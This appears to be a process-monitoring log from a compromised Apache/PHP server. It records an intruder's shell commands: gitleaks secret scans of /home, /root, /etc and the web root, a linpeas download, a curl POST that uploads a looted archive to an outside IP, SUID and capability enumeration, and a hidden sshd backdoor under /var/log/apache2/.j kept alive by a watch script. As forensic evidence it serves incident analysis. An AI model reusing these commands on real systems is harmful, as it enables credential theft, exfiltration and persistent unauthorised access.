2026-10-31 01:34:33206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sentsh -> sh/tmp/.loot-tools/gitleaks dir /home --no-banner --no-color --report-format json --report-path /tmp/<REDACTED>-deep2/gitleaks-home.json --max-target-megabytes 2 --exit-code 0 --timeout 120
2026-10-31 01:34:33206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB senttimeout -> timeoutsh -c '/tmp/.loot-tools/gitleaks' dir '/root' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-root.json' --max-target-megabytes 2 --exit-code 0 --timeout 120 ; sh -c '/tmp/.loot-tools/gitleaks' dir '/root' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-root.json' --max-target-megabytes 2 --exit-code 0 --timeout 120 ; sh -c '/tmp/.loot-tools/gitleaks' dir '/root' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-root.json' --max-target-megabytes 2 --exit-code 0 --timeout 120 ; sh -c '/tmp/.loot-tools/gitleaks' dir '/root' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-root.json' --max-target-megabytes 2 --exit-code 0 --timeout 120
2026-10-31 01:34:33206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB senttimeout -> timeoutsh -c '/tmp/.loot-tools/gitleaks' dir '/opt' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-opt.json' --max-target-megabytes 2 --exit-code 0 --timeout 120 ; sh -c '/tmp/.loot-tools/gitleaks' dir '/opt' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-opt.json' --max-target-megabytes 2 --exit-code 0 --timeout 120 ; sh -c '/tmp/.loot-tools/gitleaks' dir '/opt' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-opt.json' --max-target-megabytes 2 --exit-code 0 --timeout 120 ; sh -c '/tmp/.loot-tools/gitleaks' dir '/opt' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-opt.json' --max-target-megabytes 2 --exit-code 0 --timeout 120
2026-10-31 01:34:33206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sentsh -> sh/tmp/.loot-tools/gitleaks dir /root --no-banner --no-color --report-format json --report-path /tmp/<REDACTED>-deep2/gitleaks-root.json --max-target-megabytes 2 --exit-code 0 --timeout 120
2026-10-31 01:34:33206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB senttimeout -> timeoutsh -c '/tmp/.loot-tools/gitleaks' dir '/srv' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-srv.json' --max-target-megabytes 2 --exit-code 0 --timeout 120 ; sh -c '/tmp/.loot-tools/gitleaks' dir '/srv' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-srv.json' --max-target-megabytes 2 --exit-code 0 --timeout 120 ; sh -c '/tmp/.loot-tools/gitleaks' dir '/srv' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-srv.json' --max-target-megabytes 2 --exit-code 0 --timeout 120 ; sh -c '/tmp/.loot-tools/gitleaks' dir '/srv' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-srv.json' --max-target-megabytes 2 --exit-code 0 --timeout 120
2026-10-31 01:34:33206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sentsh -> sh/tmp/.loot-tools/gitleaks dir /opt --no-banner --no-color --report-format json --report-path /tmp/<REDACTED>-deep2/gitleaks-opt.json --max-target-megabytes 2 --exit-code 0 --timeout 120
2026-10-31 01:34:33206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sentsh -> shmkdir -p /tmp/<REDACTED>-deep2 /tmp/.loot-tools /tmp/.loot-home
2026-10-31 01:34:33206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB senttimeout -> timeoutsh -c '/tmp/.loot-tools/gitleaks' dir '/var/www/html' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-dir.json' --max-target-megabytes 2 --exit-code 0 --timeout 180 ; sh -c '/tmp/.loot-tools/gitleaks' dir '/var/www/html' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-dir.json' --max-target-megabytes 2 --exit-code 0 --timeout 180 ; sh -c '/tmp/.loot-tools/gitleaks' dir '/var/www/html' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-dir.json' --max-target-megabytes 2 --exit-code 0 --timeout 180 ; sh -c '/tmp/.loot-tools/gitleaks' dir '/var/www/html' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-dir.json' --max-target-megabytes 2 --exit-code 0 --timeout 180
2026-10-31 01:34:33206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sentsh -> shtimeout 240 sh -c '/tmp/.loot-tools/gitleaks' dir '/var/www/html' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-dir.json' --max-target-megabytes 2 --exit-code 0 --timeout 180
2026-10-31 01:34:33206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sentsh -> shtimeout 180 sh -c '/tmp/.loot-tools/gitleaks' dir '/home' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-home.json' --max-target-megabytes 2 --exit-code 0 --timeout 120
2026-10-31 01:34:33206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB senttimeout -> timeoutsh -c '/tmp/.loot-tools/gitleaks' dir '/home' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-home.json' --max-target-megabytes 2 --exit-code 0 --timeout 120 ; sh -c '/tmp/.loot-tools/gitleaks' dir '/home' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-home.json' --max-target-megabytes 2 --exit-code 0 --timeout 120 ; sh -c '/tmp/.loot-tools/gitleaks' dir '/home' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-home.json' --max-target-megabytes 2 --exit-code 0 --timeout 120 ; sh -c '/tmp/.loot-tools/gitleaks' dir '/home' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-home.json' --max-target-megabytes 2 --exit-code 0 --timeout 120
2026-10-31 01:34:33206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sentsh -> sh/tmp/.loot-tools/gitleaks dir /var/www/html --no-banner --no-color --report-format json --report-path /tmp/<REDACTED>-deep2/gitleaks-dir.json --max-target-megabytes 2 --exit-code 0 --timeout 180
2026-10-31 01:34:35Not attributedNot attributedbash -> bashgrep 42422 /proc/net/tcp
2026-10-31 01:34:35Not attributedNot attributedbash -> bashls -l /var/log/apache2/.j/sshd.pid
2026-10-31 01:34:35Not attributedNot attributedbash -> bashgrep -c . /proc/net/tcp
2026-10-31 01:34:57206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sentsh -> shfind /tmp/<REDACTED>-deep2 -maxdepth 1 -type f -printf %P %s
2026-10-31 01:34:57206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB senttimeout -> timeoutsh -c curl -sSL --max-time 100 -o '/tmp/.loot-tools/linpeas.sh' https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh ; sh -c curl -sSL --max-time 100 -o '/tmp/.loot-tools/linpeas.sh' https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh ; sh -c curl -sSL --max-time 100 -o '/tmp/.loot-tools/linpeas.sh' https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh ; sh -c curl -sSL --max-time 100 -o '/tmp/.loot-tools/linpeas.sh' https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh
2026-10-31 01:34:57206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sentsh -> shls -l /tmp/<REDACTED>-deep2
2026-10-31 01:34:57206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sentsh -> shcurl -s -o /dev/null -w %{http_code} -X POST --data-binary @/tmp/<REDACTED>-deep2.tgz http://206.245.153.56:8088/1425/<REDACTED>-deep2.tgz
2026-10-31 01:34:57206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sentsh -> shcurl -sSL --max-time 100 -o /tmp/.loot-tools/linpeas.sh https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh
2026-10-31 01:34:57206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sentsh -> shtimeout 120 sh -c curl -sSL --max-time 100 -o '/tmp/.loot-tools/linpeas.sh' https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh
2026-10-31 01:35:46Not attributedNot attributedsshd -> sshdbash ; id ; hostname
2026-10-31 01:35:55206.245.153.56206.245.153.56: 01:35:10 to 01:36:09 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sentdropbear -> bashbash -c cd /tmp; for d in /var/www/html /usr/local/etc /etc; do /tmp/.loot-tools/gitleaks dir $d --no-banner --no-color --report-format json --report-path /tmp/gl-$(echo $d|tr / _).json --max-target-megabytes 2 --exit-code 0 >/tmp/gl-$(echo $d|tr / _).log 2>&1; echo "d=$d rc=$?"; done; ls -l /tmp/gl ; tr / _ ; /tmp/.loot-tools/gitleaks dir /var/www/html --no-banner --no-color --report-format json --report-path /tmp/gl-_var_www_html.json --max-target-megabytes 2 --exit-code 0 ; tr / _ ; tr / _ ; tr / _ ; tr / _ ; /tmp/.loot-tools/gitleaks dir /etc --no-banner --no-color --report-format json --report-path /tmp/gl-_etc.json --max-target-megabytes 2 --exit-code 0 ; ls -l /tmp/gl-_etc.json /tmp/gl-_usr_local_etc.json /tmp/gl-_var_www_html.json ; /tmp/.loot-tools/gitleaks dir /usr/local/etc --no-banner --no-color --report-format json --report-path /tmp/gl-_usr_local_etc.json --max-target-megabytes 2 --exit-code 0 ; tr / _
2026-10-31 01:36:01206.245.153.56206.245.153.56: 01:35:10 to 01:36:09 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sentdropbear -> dropbearbash -c ls -la /tmp/service-documents 2>&1 | head; echo S1; ls -la /var/www/html/includes; echo S2; cat /var/www/html/includes/site.php | head -40; echo S3; cat /var/www/html/robots.txt ; head ; ls -la /tmp/service-documents ; ls -la /var/www/html/includes ; cat /var/www/html/includes/site.php ; head -40 ; cat /var/www/html/robots.txt
2026-10-31 01:36:05Not attributedNot attributedsshd -> sshdbash ; ls -ld /var/log/apache2 ; ls /etc/apache2/conf-enabled/ ; df -h / /var/log/apache2 /tmp ; head -6 ; head ; grep -i upload_tmp\|auto_prepend /etc/php/*/apache2/php.ini ; readlink -f /etc/apache2/apache2.conf ; ls -ld /etc/apache2
2026-10-31 01:36:05Not attributedNot attributedsshd -> sshdbash ; id ; head -20 ; cat /var/log/apache2/19-cron-systemd.txt ; touch /var/www/html/.probe_j485 ; ls -ld /var/www/html /var/www/html/includes /var/www/html/index.php /var/www/html/robots.txt /var/www/html/upload.php ; head -5 ; which crontab cron ; ls /etc/cron.d
2026-10-31 01:36:36Not attributedNot attributedsshd -> sshdbash ; grep -E CapEff|CapPrm|NoNewPrivs /proc/self/status ; ls -l /var/run/docker.sock ; which sudo gcc perl python3 ; ls -ld /usr/local/bin /usr/local/lib ; cat /usr/local/bin/docker-php-entrypoint ; head -20
2026-10-31 01:36:42Not attributedNot attributedsshd -> sshdbash ; ls -ld /var/lib/php/sessions ; ls -la /var/www/html
2026-10-31 01:37:03Not attributedNot attributedsshd -> sshdbash ; ls -ld /usr/local/etc /usr/local/etc/php /usr/local/etc/php/conf.d ; ls -l /usr/local/etc/php/conf.d/ ; head ; head -3 ; grep -n auto_prepend\|session.save_path /usr/local/etc/php/php.ini-production
2026-10-31 01:37:22206.245.153.56206.245.153.56: 01:35:10 to 01:36:09 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sentbash -> bashpgrep -af keep.sh
2026-10-31 01:37:23Not attributedNot attributedsshd -> sshdbash ; ls /etc/cron.daily ; head -4 ; ls -ld /var/spool /var/run /run ; df -h /var /tmp ; tail -2 ; ps -o pid,user,cmd -p 1
2026-10-31 01:37:28Not attributedNot attributedbash -> bashfind / -xdev -perm -4000 -type f
2026-10-31 01:37:45206.245.153.56206.245.153.56: 01:35:10 to 01:36:09 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sentbash -> bashpgrep -af dropbear -F|dk_key
2026-10-31 01:37:56Not attributedNot attributedbash -> bashfind /usr/bin /usr/sbin /bin /sbin -maxdepth 1 -type f -perm -4000 ; getent passwd www-data ; ls -l /usr/bin/sudo
2026-10-31 01:38:06206.245.153.56206.245.153.56: 01:35:10 to 01:36:09 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sentbash -> bashpgrep -af dropbear -F|dk_key
2026-10-31 01:38:13Not attributedNot attributedsshd -> sshdbash ; chsh -s /bin/bash ; getent passwd www-data
2026-10-31 01:38:24Not attributedNot attributedsshd -> sshdbash ; cat /etc/shells ; ls -l /bin/sh /bin/bash
2026-10-31 01:38:25206.245.153.56206.245.153.56: 01:35:10 to 01:36:09 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sentbash -> bashpgrep -af dropbear -F|dk_key
2026-10-31 01:38:29Not attributedNot attributedsshd -> sshdbash ; cat ; chmod 755 /var/log/apache2/.j/start.sh ; /var/log/apache2/.j/start.sh
2026-10-31 01:38:42Not attributedNot attributedsshd -> sshdbash ; tail -4 /var/log/apache2/.j/sshd.log ; head -3 ; pgrep -af j/sshd
2026-10-31 01:38:48206.245.153.56206.245.153.56: 01:35:10 to 01:36:09 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sentdropbear -> dropbearbash -c id; hostname; ss -lnt 2>/dev/null | head -1; echo LOGIN_OK ; id ; hostname ; head -1
2026-10-31 01:39:00Not attributedNot attributedsshd -> bashsleep 2 ; setsid /var/log/apache2/.j/watch.sh ; cat ; chmod 755 /var/log/apache2/.j/watch.sh ; /var/log/apache2/.j/watch.sh ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; head -2 ; pgrep -af watch.sh
2026-10-31 01:39:26Not attributedNot attributedwatch.sh -> watch.shpgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; /var/log/apache2/.j/start.sh ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f 